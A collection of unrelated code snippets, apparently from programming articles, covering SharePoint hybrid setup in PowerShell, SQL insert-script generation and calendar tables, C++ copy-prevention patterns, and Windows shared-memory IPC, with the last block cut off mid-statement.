    $SPMetadata = Invoke-RestMethod -Uri ($SP_METADATAEP_FSTRING -f $SharePointWeb)

    $SPSigningKey = $SPMetadata.keys | ? usage -EQ "Signing" | % keyValue

    $CertValue = $SPSigningKey.value


    #Connect to Office 365.

    Connect-MsolService -Credential $O365Credentials

    #Remove existing connection to an Office 365 SharePoint site if the switch is specified.

    if ($RemoveExistingAADCredentials.IsPresent -and $RemoveExistingAADCredentials -eq $true) {

        $msolserviceprincipal = Get-MsolServicePrincipal -AppPrincipalId $SP_APPPRINCIPALID

        [Guid[]] $ExistingKeyIds = Get-MsolServicePrincipalCredential -ObjectId $msolserviceprincipal.ObjectId -ReturnKeyValues $false | % {if ($_.Type -ne "Other") {$_.KeyId}}

        Remove-MsolServicePrincipalCredential -AppPrincipalId $SP_APPPRINCIPALID -KeyIds $ExistingKeyIds

    }

    #Step 2: Upload the local STS signing certificate

    New-MsolServicePrincipalCredential -AppPrincipalId $SP_APPPRINCIPALID -Type Asymmetric -Value $CertValue -Usage Verify


    #Step 3: Add the service principal name of the local web application, if necessary.

    $indexHostName = $SharePointWeb.IndexOf('://') + 3

    $HostName = $SharePointWeb.Substring($indexHostName)

    $NewSPN = '{0}/{1}' -f $SP_APPPRINCIPALID, $HostName

    $SPAppPrincipal = Get-MsolServicePrincipal -AppPrincipalId $SP_APPPRINCIPALID

    if ($SPAppPrincipal.ServicePrincipalNames -notcontains $NewSPN) {

        $SPAppPrincipal.ServicePrincipalNames.Add($NewSPN)

        Set-MsolServicePrincipal -AppPrincipalId $SPAppPrincipal.AppPrincipalId -ServicePrincipalNames $SPAppPrincipal.ServicePrincipalNames

    }


    #Remove the existing SharePoint Online proxy if the switch is specified.

    if ($RemoveExistingSPOProxy.IsPresent -and $RemoveExistingSPOProxy -eq $True) {

        Get-SPServiceApplicationProxy | ? DisplayName -EQ $SPO_MANAGEMENT_APPPROXY_NAME | Remove-SPServiceApplicationProxy -RemoveData -Confirm:$false

    }

    #Step 4: Add the SharePoint Online proxy

    if (-not (Get-SPServiceApplicationProxy | ? DisplayName -EQ $SPO_MANAGEMENT_APPPROXY_NAME)) {

        $spoproxy = New-SPOnlineApplicationPrincipalManagementServiceApplicationProxy -Name $SPO_MANAGEMENT_APPPROXY_NAME -OnlineTenantUri $SharePointOnlineUrl -DefaultProxyGroup

    } 

}

</pre>


<pre lang="HTML">
&lt;a name="_Hlk499710851"&gt;&lt;&lt;/a&gt;form id="form1" runat="server"&gt;
        &lt;div style="margin-bottom: 10px;"&gt;
            &lt;b&gt;List:&lt;/b&gt;
            &lt;asp:Label runat="server" ID="lblListUrl" /&gt;
        &lt;/div&gt;
        &lt;div style="margin-bottom: 10px;"&gt;
            &lt;b&gt;User:&lt;/b&gt;
            &lt;asp:Label runat="server" ID="lblUserName" /&gt;
        &lt;/div&gt;
        &lt;div style="margin-bottom: 10px;"&gt;
            &lt;b&gt;ID:&lt;/b&gt;
            &lt;asp:TextBox ID="txtItemId" runat="server"&gt;&lt;/asp:TextBox&gt;
            &lt;b&gt;Status:&lt;/b&gt;
            &lt;asp:TextBox ID="txtItemStatus" runat="server"&gt;&lt;/asp:TextBox&gt;
            &lt;asp:Button ID="btnUpdateItem" runat="server" Text="Update Status" OnClick="btnUpdateItem_Click" /&gt;
        &lt;/div&gt;
        &lt;div&gt;
            &lt;span style="color: green"&gt;&lt;asp:Label runat="server" ID="lblOperationSuccess" /&gt;&lt;/span&gt;
            &lt;span style="color: red"&gt;&lt;asp:Label runat="server" ID="lblOperationFailure" /&gt;&lt;/span&gt;
        &lt;/div&gt;
    &lt;/form&gt;</pre>


<pre lang="VB.NET">
     Public Sub New()

		      ' This line runs before Windows objects are instantiated.
          System.Windows.Forms.Application.EnableVisualStyles()
					
          ' This call is required by the designer.
          InitializeComponent()

          ' Add any initialization after the InitializeComponent() call.

     End Sub  ' New</pre>


<pre lang="SQL">
EXEC [dbo].[usp_CreateInserts] @TableName = 'Orders', @FromAndWhere = 'FROM Orders'

/* Query will give result in this format

IF NOT EXISTS(SELECT TOP 1 1 FROM Orders WHERE 1=1)
    BEGIN 
    INSERT INTO [Orders] ([OrderID],[CustomerID],[EmployeeID],[OrderDate],[RequiredDate],[ShippedDate],_
                [ShipVia],[Freight],[ShipName],[ShipAddress],[ShipCity],[ShipRegion],[ShipPostalCode],_
                [ShipCountry])VALUES(10248,'VINET',5,'Jul  4 1996 12:00:00:000AM',_
                'Aug  1 1996 12:00:00:000AM','Jul 16 1996 12:00:00:000AM',3,32.3800,_
                'Vins et alcools Chevalier','59 rue de l''Abbaye','Reims',NULL,'51100','France') 
    END
IF NOT EXISTS(SELECT TOP 1 1 FROM Orders WHERE 1=1)
    BEGIN 
    INSERT INTO [Orders] ([OrderID],[CustomerID],[EmployeeID],[OrderDate],[RequiredDate],[ShippedDate],_
                [ShipVia],[Freight],[ShipName],[ShipAddress],[ShipCity],[ShipRegion],[ShipPostalCode],_
                [ShipCountry])VALUES(10249,'TOMSP',6,'Jul  5 1996 12:00:00:000AM',_
                'Aug 16 1996 12:00:00:000AM','Jul 10 1996 12:00:00:000AM',1,11.6100,_
                'Toms Spezialitäten','Luisenstr. 48','Münster',NULL,'44087','Germany') 
    END

    .
    .
    .

*/</pre>


<pre lang="SQL">
EXEC [dbo].[usp_CreateInserts] @TableName = 'Orders', _
@FromAndWhere = 'FROM Orders WHERE ShipCountry = ''Switzerland'''

/* Query will give result in this format

IF NOT EXISTS(SELECT TOP 1 1 FROM Orders WHERE [ShipCountry]='Germany')
    BEGIN 
    INSERT INTO [Orders] ([OrderID],[CustomerID],[EmployeeID],[OrderDate],[RequiredDate],_
                [ShippedDate],[ShipVia],[Freight],[ShipName],[ShipAddress],[ShipCity],[ShipRegion],_
                [ShipPostalCode],[ShipCountry])VALUES(10249,'TOMSP',6,'Jul  5 1996 12:00:00:000AM',_
                'Aug 16 1996 12:00:00:000AM','Jul 10 1996 12:00:00:000AM',1,11.6100,_
                'Toms Spezialitäten','Luisenstr. 48','Münster',NULL,'44087','Germany') 
    END
IF NOT EXISTS(SELECT TOP 1 1 FROM Orders WHERE [ShipCountry]='France')
    BEGIN 
    INSERT INTO [Orders] ([OrderID],[CustomerID],[EmployeeID],[OrderDate],[RequiredDate],_
                [ShippedDate],[ShipVia],[Freight],[ShipName],[ShipAddress],[ShipCity],[ShipRegion],_
                [ShipPostalCode],[ShipCountry])VALUES(10248,'VINET',5,'Jul  4 1996 12:00:00:000AM',_
                'Aug  1 1996 12:00:00:000AM','Jul 16 1996 12:00:00:000AM',3,32.3800,_
                'Vins et alcools Chevalier','59 rue de l''Abbaye','Reims',NULL,'51100','France') 
    END

    .
    .
    .

*/</pre>


<pre lang="SQL">
EXEC [dbo].[usp_CreateInserts] @TableName = 'Orders', _
@FromAndWhere = 'FROM Orders WHERE ShipCountry = ''Switzerland''', @CheckColList = 'ShipCountry,ShipVia'

/* Query will give result in this format

IF NOT EXISTS(SELECT TOP 1 1 FROM Orders WHERE [ShipVia]=2 AND [ShipCountry]='Switzerland')
    BEGIN 
    INSERT INTO [Orders] ([OrderID],[CustomerID],[EmployeeID],[OrderDate],[RequiredDate],_
                [ShippedDate],[ShipVia],[Freight],[ShipName],[ShipAddress],[ShipCity],[ShipRegion],_
                [ShipPostalCode],[ShipCountry])VALUES(10254,'CHOPS',5,'Jul 11 1996 12:00:00:000AM',_
                'Aug  8 1996 12:00:00:000AM','Jul 23 1996 12:00:00:000AM',2,22.9800,_
                'Chop-suey Chinese','Hauptstr. 31','Bern',NULL,'3012','Switzerland') 
    END
IF NOT EXISTS(SELECT TOP 1 1 FROM Orders WHERE [ShipVia]=3 AND [ShipCountry]='Switzerland')
    BEGIN 
    INSERT INTO [Orders] ([OrderID],[CustomerID],[EmployeeID],[OrderDate],[RequiredDate],_
                [ShippedDate],[ShipVia],[Freight],[ShipName],[ShipAddress],[ShipCity],[ShipRegion],_
                [ShipPostalCode],[ShipCountry])VALUES(10255,'RICSU',9,'Jul 12 1996 12:00:00:000AM',_
                'Aug  9 1996 12:00:00:000AM','Jul 15 1996 12:00:00:000AM',3,148.3300,_
                'Richter Supermarkt','Starenweg 5','Genève',NULL,'1204','Switzerland') 
    END

    .
    .
    .

*/</pre>


<pre lang="SQL">
EXEC [dbo].[usp_CreateInserts] @TableName = 'Orders', _
     @FromAndWhere = 'FROM Orders WHERE ShipCountry = ''Switzerland''', _
     @CheckColList = 'ShipCountry,ShipVia',@OmitIdentity =1

/* Query will give result in this format

IF NOT EXISTS(SELECT TOP 1 1 FROM Orders WHERE [ShipVia]=2 AND [ShipCountry]='Switzerland')
    BEGIN 
    INSERT INTO [Orders] ([CustomerID],[EmployeeID],[OrderDate],[RequiredDate],_
                [ShippedDate],[ShipVia],[Freight],[ShipName],[ShipAddress],[ShipCity],_
                [ShipRegion],[ShipPostalCode],[ShipCountry])VALUES('CHOPS',5,_
                'Jul 11 1996 12:00:00:000AM','Aug  8 1996 12:00:00:000AM',_
                'Jul 23 1996 12:00:00:000AM',2,22.9800,'Chop-suey Chinese','Hauptstr. 31',_
                'Bern',NULL,'3012','Switzerland') 
    END
IF NOT EXISTS(SELECT TOP 1 1 FROM Orders WHERE [ShipVia]=3 AND [ShipCountry]='Switzerland')
    BEGIN 
    INSERT INTO [Orders] ([CustomerID],[EmployeeID],[OrderDate],[RequiredDate],[ShippedDate],_
                [ShipVia],[Freight],[ShipName],[ShipAddress],[ShipCity],[ShipRegion],_
                [ShipPostalCode],[ShipCountry])VALUES('RICSU',9,'Jul 12 1996 12:00:00:000AM',_
                'Aug  9 1996 12:00:00:000AM','Jul 15 1996 12:00:00:000AM',3,148.3300,_
                'Richter Supermarkt','Starenweg 5','Genève',NULL,'1204','Switzerland') 
    END

    .
    .
    .

*/</pre>


<pre lang="SQL">
EXEC [dbo].[usp_CreateInserts] @TableName = 'Orders', _
@FromAndWhere = 'FROM Orders WHERE ShipCountry = ''Switzerland''', _
@CheckColList = 'ShipCountry,ShipVia',@ExcludeColList = '''OrderID'',''CustomerID'''

/* Query will give result in this format

IF NOT EXISTS(SELECT TOP 1 1 FROM Orders WHERE [ShipVia]=2 AND [ShipCountry]='Switzerland')
    BEGIN 
    INSERT INTO [Orders] ([EmployeeID],[OrderDate],[RequiredDate],[ShippedDate],_
                [ShipVia],[Freight],[ShipName],[ShipAddress],[ShipCity],[ShipRegion],_
                [ShipPostalCode],[ShipCountry])VALUES(5,'Jul 11 1996 12:00:00:000AM',_
                'Aug  8 1996 12:00:00:000AM','Jul 23 1996 12:00:00:000AM',2,22.9800,_
                'Chop-suey Chinese','Hauptstr. 31','Bern',NULL,'3012','Switzerland') 
    END
IF NOT EXISTS(SELECT TOP 1 1 FROM Orders WHERE [ShipVia]=3 AND [ShipCountry]='Switzerland')
    BEGIN 
    INSERT INTO [Orders] ([EmployeeID],[OrderDate],[RequiredDate],[ShippedDate],[ShipVia],_
                [Freight],[ShipName],[ShipAddress],[ShipCity],[ShipRegion],[ShipPostalCode],_
                [ShipCountry])VALUES(9,'Jul 12 1996 12:00:00:000AM','Aug  9 1996 12:00:00:000AM',_
                'Jul 15 1996 12:00:00:000AM',3,148.3300,'Richter Supermarkt','Starenweg 5',_
                'Genève',NULL,'1204','Switzerland') 
    END
    .
    .
    .</pre>


<pre lang="SQL">
EXEC [dbo].[usp_CreateInserts] @TableName = 'Orders', _
@FromAndWhere = 'FROM Orders WHERE ShipCountry = ''Switzerland''', _
@CheckColList = 'ShipCountry,ShipVia',@Owner = 'dbo'

/* Query will give result in this format

IF NOT EXISTS(SELECT TOP 1 1 FROM [dbo].[Orders] WHERE [ShipVia]=2 AND [ShipCountry]='Switzerland')
    BEGIN 
    INSERT INTO [[dbo].[Orders]] ([OrderID],[CustomerID],[EmployeeID],[OrderDate],[RequiredDate],_
                [ShippedDate],[ShipVia],[Freight],[ShipName],[ShipAddress],[ShipCity],_
                [ShipRegion],[ShipPostalCode],[ShipCountry])VALUES(10254,'CHOPS',5,_
                'Jul 11 1996 12:00:00:000AM','Aug  8 1996 12:00:00:000AM',_
                'Jul 23 1996 12:00:00:000AM',2,22.9800,'Chop-suey Chinese','Hauptstr. 31',_
                'Bern',NULL,'3012','Switzerland') 
    END
IF NOT EXISTS(SELECT TOP 1 1 FROM [dbo].[Orders] WHERE [ShipVia]=3 AND [ShipCountry]='Switzerland')
    BEGIN 
    INSERT INTO [[dbo].[Orders]] ([OrderID],[CustomerID],[EmployeeID],[OrderDate],[RequiredDate],_
                [ShippedDate],[ShipVia],[Freight],[ShipName],[ShipAddress],[ShipCity],_
                [ShipRegion],[ShipPostalCode],[ShipCountry])VALUES(10255,'RICSU',9,_
                'Jul 12 1996 12:00:00:000AM','Aug  9 1996 12:00:00:000AM',_
                'Jul 15 1996 12:00:00:000AM',3,148.3300,'Richter Supermarkt','Starenweg 5',_
                'Genève',NULL,'1204','Switzerland') 
    END
    .
    .
    .

*/</pre>


<pre lang="SQL">
-- Create CalendarYear
BEGIN TRY
    DROP TABLE CalendarYear
END TRY
BEGIN CATCH
    print 'Attempting to DROP TABLE ''CalendarYear'' - NOT FOUND.'
    print 'continuing... to create table ''CalendarYear''.'
END CATCH
CREATE TABLE    CalendarYear
    (    DateKey            int primary key    -- ccyy0m0d (ccyy, zero m or mm, zero d or dd) 
        ,[Date]             date
        ,[Date_mm/dd/yyyy]  varchar(10)        -- mm/dd/yyyy (leading zeros in mm, dd removed)
        ,Date_ddMMMyyyy     CHAR(09)           -- dMMMYYYY or ddMMMYYYY
        ,Century            int                -- 1901..2000 - 20th century, 2001..2100 - 21st century, etc.
        ,[Year]             int                -- ccyy
        ,IsLeapYear         bit                -- 0 = not a leap year, 1 = is a leap year
        ,QuarterOfYear      int                -- cardinal number of quarter of year (1..4)
        ,QuarterOfYearName  varchar(06)        -- First, Second, Third, Fourth (ordinal name for calendar quarter)
        ,FirstOfQuarter     date               -- first date in quarter of year
        ,LastOfQuarter      date               -- last date in quarter of year
        ,MonthOfQuarter     int                -- 1..3 (calendar quarter)
        ,WeekOfQuarter      int                -- 1..14 (calendar quarter)
        ,DayOfQuarter       int                -- 1..92 (calendar quarter)
        ,MonthOfYear        int                -- cardinal number of month of year as d or dd
        ,MonthOfYearNameLong  varchar(09)      -- January.February.March.April.May.June.
--                                                July.August.September.October.November.December
        ,MonthOfYearNameShort char(03)         -- Jan.Feb.Mar.Apr.May.Jun.Jul.Aug.Sep.Oct.Nov.Dec
        ,WeekOfMonth        int                -- 1..6 
        ,[DayOfMonth]       int                -- cardinal number of day of month 
        ,DayOfMonthOrdinal  varchar(04)        -- 1st, 2nd, 3rd, 4th, etc. (ordinal number of day of month)
        ,WeekOfYear         int                -- 1..53
        ,[DayOfYear]        int                -- cardinal number of day of year
        ,IsWeekDay          bit                -- 0 = Saturday or Sunday, 1 = Monday..Friday
        ,[DayOfWeek]        int                -- 1..7 1 = Sunday...7 = Saturday
        ,DayOfWeekNameLong  VARCHAR(09)        -- Sunday.Monday.Tuesday.Wednesday.Thursday.Friday.Saturday 
        ,DayOfWeekNameShort char(03)        -- Sun.Mon.Tue.Wed.Thu.Fri.Sat
    )    
GO
-- CreateFiscalYear
BEGIN TRY
    DROP TABLE FiscalYear
END TRY
BEGIN CATCH
    print 'Attempting to DROP TABLE ''FiscalYear'' - NOT FOUND.'
    print 'continuing... to create table ''FiscalYear''.'
END CATCH
CREATE TABLE    FiscalYear
    (    FYDateKey              int primary key -- ccyy0m0d (ccyy, zero m or mm, zero d or dd) 
        ,FYDate                 date
        ,FYYear                 int             -- fiscal year as ccyy
        ,FYQuarterOfYear        int             -- cardinal number of quarter of year (1..4)
        ,FYQuarterOfYearName    varchar(06)     -- First, Second, Third, Fourth (ordinal name for fiscal quarter)
        ,FYFirstOfQuarter       date            -- first date in quarter of fiscal year
        ,FYLastOfQuarter        date            -- last date in quarter of fiscal year
        ,FYMonthOfQuarter       int             -- 1..3 (fiscal quarter)
        ,FYWeekOfQuarter        int             -- 1..14 (fiscal quarter)
        ,FYDayOfQuarter         int             -- 1..92 (fiscal quarter)
        ,FYMonthOfYear          int             -- cardinal number of month of fiscal year as d or dd
        ,FYWeekOfYear           int             -- 1..53
        ,FYDayOfYear            int             -- cardinal number of day of fiscal year
    )
go
-- Create vwDimDate
BEGIN TRY
    DROP VIEW vwDimDate
END TRY
BEGIN CATCH
    print 'Attempting to DROP VIEW ''vwDimDate'' - NOT FOUND.'
    print 'continuing... to create view ''vwDimDate''.'
END CATCH
go
create view vwDimDate
    as
    select      CalendarYear.*, FiscalYear.*
    from        CalendarYear
    left join   FiscalYear
    on          CalendarYear.DateKey = FiscalYear.FYDateKey
go</pre>


<pre lang="SQL">
-- Populate CalendarYear
set nocount on                            -- Do NOT show number of rows affected.
set datefirst 7                           -- Specify Sunday as the first day of the week.
set noexec off                            -- Specify execution of compiled SQL.

--                         mm/dd/yyyy
declare @StartDate date = '01/01/2017'    --Starting value of Date Range as month, day, year  &lt;-- Modify!
declare @EndDate   date = '12/31/2021'    --Ending Value of Date Range as month, day, year    &lt;-- Modify!
-- Produce calendar years for:  2017, 2018, 2019, 2020, 2021              &lt;-- Modify!
-- Nothing below here to modify.
-- Calendar years cover 1/1/yyyy..12/31/yyyy.

if @StartDate &gt; @EndDate    -- If true, ensures production of 0 rows.
    begin
    print 'StartDate '                        +
          convert(char(08),@StartDate,112)    +    
          ' is greater than EndDate '         +
          convert(char(08),@EndDate,112)      +
          '.'
    set noexec on    -- End execution.
    end                 
if datepart(month,@StartDate) &lt;&gt; 1 or datepart(day,@StartDate) &lt;&gt; 1      -- starting date is not 1/1/yyyy?
    begin                                                                -- yes, ensure production of 0 rows
    print 'Month '                                      +
          cast(datepart(month,@StartDate) as varchar)   +
          ' or day '                                    +
          cast(datepart(day,@StartDate) as varchar)     +
          ' in '                                        +
          convert(char(08),@StartDate,112)              +
          ' is not ''1''.  Both must be ''1'' for calendar year.'
    set noexec on    -- End execution.
    end    
    if ((datediff(month,@StartDate,@EndDate)+1) % 12) &lt;&gt; 0   -- Number of months not a multiple of 12?
    begin                                                    -- yes, ensure production of 0 rows
        print convert(char(08),@StartDate,112)                   +
        '...'                                                    +
        convert(char(08),@EndDate,112)                           +
        ' covers '                                               +
        cast(datediff(month,@StartDate,@EndDate) + 1 as varchar) +
        ' months.  Not a multiple of 12.' 
    set noexec on    -- End execution.
    end
    
declare @CurrentDate        date    =    @StartDate
declare @RunningYear        int     =    datepart(year,@StartDate)
declare @EndingYear         int     =    datepart(year,@EndDate)
declare @QuarterOfYear      int        
declare @MonthOfYear        int        
declare @MonthOfQuarter     int        
declare @WeekOfYear         int        
declare @WeekOfQuarter      int        
declare @WeekOfMonth        int        
declare @DayOfYear          int        
declare @DayOfQuarter       int        
declare @DayOfMonth         int    
declare @FirstOfQuarter     date    

while @RunningYear &lt;= @EndingYear
begin    -- Begin year loop.
    set @QuarterOfYear    =    1    
    set @MonthOfYear      =    1
    set @WeekOfYear       =    1
    set @DayOfYear        =    1
    set @FirstOfQuarter   =    @CurrentDate
    while @QuarterOfYear &lt;= 4
    begin    -- Begin quarter loop.
        set @MonthOfQuarter    =    1
        set @WeekOfQuarter     =    1
        set @DayOfQuarter      =    1    
        while @MonthOfQuarter &lt;= 3
        begin    -- Begin month loop.
            set @WeekOfMonth   =    1
            set @DayOfMonth    =    1    
            while @WeekOfMonth &lt;= 6
-- Since weeks in months are ragged this loop will never end on WeekOfMonth = 7.
-- Rather, an arbitrary large value (32767) will force loop end when month changes.
-- The minimum value 6 is coded above to ensure the correct number of loop iterations. 
            begin    -- Begin week loop.    
-- Begin insert row.            
                INSERT INTO CalendarYear
                SELECT
                     CONVERT (char(8),@CurrentDate,112) -- DateKey
                    ,@CurrentDate                       -- Date
                    ,cast(datepart(mm,@CurrentDAte) as varchar) +
                     '/'                                        +
                     cast(datepart(dd,@CurrentDate) as varchar) +
                     '/'                                        +
                     cast(datepart(yy,@CurrentDate) as varchar) -- Date_mm/dd/yyyy
                    ,cast(datepart(dd,@CurrentDate) as varchar) +
                     upper(left(datename(mm,@CurrentDate),3))   + 
                     cast(datepart(yy,@CurrentDate) as varchar) -- Date_ddMMMyyyy
                    ,case
                     when datepart(year,@CurrentDate) % 100 = 0 
                     then datepart(year,@CurrentDate) / 100
                     else (datepart(year,@CurrentDate) / 100) + 1
                     end                                 -- Century 
                    ,datepart(year,@CurrentDate)         -- Year
                    ,case    -- 1900 is not a leap year, 2000 is a leap year
                     when(DATEPART(year,@CurrentDate) % 4 = 0 
                            and 
                     DATEPART(year,@CurrentDAte) % 100 &lt;&gt; 0) 
                            or 
                     DATEPART(year,@CurrentDAte) % 400 = 0 
                     then 1 else 0
                     end                               -- IsLeapYear
                    ,@QuarterOfYear                    -- QuarterOfYear    -- either this or ...
--                  ,DATEPART(quarter,@CurrentDate)    -- QuarterOfYear    -- ... this works for calendar year
                    ,case @QuarterOfYear
                     WHEN 1 THEN 'First'
                     WHEN 2 THEN 'Second'
                     WHEN 3 THEN 'Third'
                     WHEN 4 THEN 'Fourth'
                     END                            -- QuarterOfYearName        
                    ,@FirstOfQuarter                -- FirstOfQuarter
                    ,dateadd(day,-1,dateadd(month,3,@FirstOfQuarter))    -- LastOfQuarter
                    ,@MonthOfQuarter                -- MonthOfQuarter
                    ,@WeekOfQuarter                 -- WeeekOfQuarter      
                    ,@DayOfQuarter                    -- DayOfquarter
                    ,@MonthOfyear                    -- MonthOfyear    -- either this or ...
--                  ,datepart(mm,@CurrentDate)       -- MonthOfYear    -- ... this works for calendar year
                    ,DATENAME(MM, @CurrentDate)      -- MonthOfYearNameLong
                    ,LEFT(DATENAME(MM, @CurrentDate), 3)-- MonthOfYearNameShort
                    ,@WeekOfMonth                    -- WeekOfMonth
                    ,@DayOfMonth                     -- DayOfMonth
                    ,CASE 
                     WHEN DATEPART(day,@CurrentDate) IN (11,12,13) 
                     THEN CAST(DATEPART(day,@CurrentDate) AS VARCHAR) + 'th'
                     WHEN RIGHT(DATEPART(day,@CurrentDate),1) = 1 
                     THEN CAST(DATEPART(day,@CurrentDate) AS VARCHAR) + 'st'
                     WHEN RIGHT(DATEPART(day,@CurrentDate),1) = 2 
                     THEN CAST(DATEPART(day,@CurrentDate) AS VARCHAR) + 'nd'
                     WHEN RIGHT(DATEPART(day,@CurrentDate),1) = 3 
                     THEN CAST(DATEPART(day,@CurrentDate) AS VARCHAR) + 'rd'
                     ELSE CAST(DATEPART(day,@CurrentDate) AS VARCHAR) + 'th' 
                     END                            -- DayOfMonthOrdinal        
                    ,@WeekOfYear                    -- WeekOfYear
                    ,@DayOfYear                     -- DayOfYear
                    ,CASE DATEPART(weekday, @CurrentDate) -- dependent on 'set datefirst 7' to indicate week begins on Sunday
                     WHEN 1 THEN 0    -- Sunday
                     WHEN 2 THEN 1    -- Monday
                     WHEN 3 THEN 1    -- Tuesday
                     WHEN 4 THEN 1    -- Wednesday
                     WHEN 5 THEN 1    -- Thursday
                     WHEN 6 THEN 1    -- Friday
                     WHEN 7 THEN 0    -- Saturday
                     END              -- IsWeekday    
                    ,DATEPART(weekday,@CurrentDate) -- DayOfWeek
                    ,DATENAME(weekday, @CurrentDate)-- DayOfWeekNameLong
                    ,LEFT(DATENAME(weekday, @CurrentDate), 3) -- DayOfWeekNameShort
-- End insert row.
                set @DayOfYear       =    @DayOfYear       +    1    -- increment for next loop interation
                set @DayOfQuarter    =    @DayOfQuarter    +    1    -- ...
                set @DayOfMonth      =    @DayOfMonth      +    1    -- ...
                if DATEPART(weekday,@CurrentDate) = 7    -- Did a Sat just get inserted?
                begin                                    -- yes, it's a new week for next row
                    set @WeekOfMonth    = @WeekOfMonth      + 1    
                    set @WeekOfQuarter  = @WeekOfQuarter    + 1
                    set @WeekOfYear     = @WeekOfYear       + 1
                end    
-- Look ahead to see if next day is in next month.
                if datepart(month,@CurrentDate) &lt;&gt; datepart(month,dateadd(dd,1,@CurrentDate))    -- Month change?
                begin                                                                            -- yes           
                    set @MonthOfYear = @MonthOfYear + 1                                            
                    set @MonthOfQuarter = @MonthOfQuarter + 1
                    set @WeekOfMonth = 32767    -- Force end of week loop.
                end
                set @CurrentDate = dateadd(DD, 1, @CurrentDate)    -- Increment to next day.
            end    -- End week loop.
            set @WeekOfMonth = @WeekOfMonth + 1    -- increment for next iteration in month loop
        end    --End month loop.    
        set @QuarterOfYear = @QuarterOfYear + 1    -- increment for next iteration in quarter loop
        set @FirstOfQuarter = dateadd(month,3,@FirstOfQuarter)    -- new FirstOfQuarter
    end    -- End quarter loop.
    set @RunningYear = @RunningYear + 1            -- increment for next iteration in year loop
end    -- End year loop.
go
</pre>


<pre lang="C++">
// Works for C++11 and above
class DeletedCopyFunc
{
public:
    DeletedCopyFunc(int value): m_Value(value) {}
public:
    DeletedCopyFunc(const DeletedCopyFunc&amp;) = delete;
    DeletedCopyFunc&amp; operator=(const DeletedCopyFunc&amp;) = delete;

private:
    int m_Value;
    std::mutex m_Mutex;
};</pre>


<pre lang="C++">
// Works for all C++ versions
class PrivateCopyFunc
{
public:
    PrivateCopyFunc(int value) : m_Value(value) {}
private:
    PrivateCopyFunc(const PrivateCopyFunc&amp;);
    PrivateCopyFunc&amp; operator=(const PrivateCopyFunc&amp;);

private:
    int m_Value;
    std::mutex m_Mutex;
};</pre>


<pre lang="C++">
  class noncopyable
  {
  protected:
#if !defined(BOOST_NO_CXX11_DEFAULTED_FUNCTIONS) &amp;&amp; 
         !defined(BOOST_NO_CXX11_NON_PUBLIC_DEFAULTED_FUNCTIONS)
      BOOST_CONSTEXPR noncopyable() = default;
      ~noncopyable() = default;
#else
      noncopyable() {}
      ~noncopyable() {}
#endif
#if !defined(BOOST_NO_CXX11_DELETED_FUNCTIONS)
      noncopyable( const noncopyable&amp; ) = delete;
      noncopyable&amp; operator=( const noncopyable&amp; ) = delete;
#else
  private:  // emphasize the following members are private
      noncopyable( const noncopyable&amp; );
      noncopyable&amp; operator=( const noncopyable&amp; );
#endif
  };</pre>


<pre lang="C++">
class CopyableClass
{
public:
    CopyableClass(int value) : m_Value(value) {}
    CopyableClass(const CopyableClass&amp; that)
    {
        std::cout &lt;&lt; "CopyableClass Copy Constructor called!" &lt;&lt; std::endl;
        this-&gt;m_Value = that.m_Value;
    }
    CopyableClass&amp; operator=(const CopyableClass&amp; that)
    {
        std::cout &lt;&lt; "CopyableClass Assignment Operator called!" &lt;&lt; std::endl;
        this-&gt;m_Value = that.m_Value;
        return *this;
    }

private:
    int m_Value;
};

int main()
{
    CopyableClass a(10);
    CopyableClass b = a; // CopyableClass Copy Constructor called!
    b = a; // CopyableClass Assignment Operator called!

    CopyableClass c(a); // CopyableClass Copy Constructor called!

    return 0;
}</pre>


<pre lang="VB.NET">
     Public Sub New()

		  ' This line runs before Windows objects are instantiated.
          System.Windows.Forms.Application.EnableVisualStyles()
					
          ' This call is required by the designer.
          InitializeComponent()

          ' Add any initialization after the InitializeComponent() call.

     End Sub  ' New</pre>


<pre lang="C++">
BOOLEAN cs_ipc::send_data(void* buffer, int size)
{
    EnterCriticalSection(&amp;m_send_buffer_cs);
    int offset = 0, pending_data = size;
    uint8_t flags_val = IPC_FLAG_DATA_BEGIN;
    PIO_PACKAGE_DATA header = (PIO_PACKAGE_DATA)m_send_buffer;
    header-&gt;header.application = APPLICATION_DATA;
    while (offset &lt; size)
    {
        header-&gt;header.size = (UINT16)min(pending_data +sizeof(IO_PACKAGE_DATA), m_max_data_size);
        int data_send = header-&gt;header.size - sizeof(IO_PACKAGE_DATA);
        if (offset+data_send == size) flags_val |= IPC_FLAG_DATA_END;
        header-&gt;flags = flags_val;
        memcpy(m_send_buffer+ sizeof(IO_PACKAGE_DATA), ((char*)buffer)+offset, 
               header-&gt;header.size- sizeof(IO_PACKAGE_DATA));
        internal_send_data(m_send_buffer, header-&gt;header.size);
        flags_val = 0;
        offset += data_send;
        pending_data -= data_send;
    }
    LeaveCriticalSection(&amp;m_send_buffer_cs);
    return true;
}</pre>


<pre lang="C++">
    waitOn[0] = log_avail_ev;
    waitOn[1] = self-&gt;m_terminate;
    waitOn[2] = self-&gt;m_peer_process_handle;

    while (true)
    {
        int wait_result = WaitForMultipleObjects(3, waitOn, FALSE, INFINITE);
        if (wait_result == WAIT_OBJECT_0 + 2) // peer process terminated
        {
            ...
        } 
        if (wait_result == WAIT_OBJECT_0 + 1) // terminate has been triggered
        {
            self-&gt;m_running = false;
            break;
        } 
        if (wait_result != WAIT_OBJECT_0) // unexpected result! terminate as well - but report error!
        {
            self-&gt;error_handler(L"waitForData &gt; WaitForMultipleObjects failed - waitResult = %u\n", 
                                wait_result);
            goto error_case;
            break;
        }
        standard processing, data is available...
        ... 
    }</pre>


<pre lang="C++">
    while (true)
    {
        int wait_result = WaitForMultipleObjects(NULL == waitOn[2] ? 2 : 3, waitOn, FALSE, INFINITE);
        if (wait_result == WAIT_OBJECT_0 + 2) // peer process terminated
        {
            //self-&gt;error_handler(L"waitForData &gt; Peer process terminated\n");
            waitOn[2] = NULL;
            CloseHandle(self-&gt;m_peer_process_handle);
            self-&gt;m_status = IPC_STATUS_PEER_DISCONNECTED;
            if (NULL != self-&gt;m_status_change_handler)
                self-&gt;m_status_change_handler
                (IPC_STATUS_PEER_DISCONNECTED, self-&gt;m_status_change_handler_parameter);
            continue;
        }

    ...</pre>


<pre lang="C++">
    case APPLICATION_PEER_CONNECT:
    {
        PIO_HEADER msg_header = (PIO_HEADER)((char*)memory + data_header-&gt;next_reading_pointer);
        self-&gt;m_peer_process_handle = OpenProcess(SYNCHRONIZE, FALSE, data_header-&gt;writer_process_id);
        if (NULL == self-&gt;m_peer_process_handle)
            self-&gt;error_handler(L"Unexpected error trying to open process id: %u - lastError: 0x%X", 
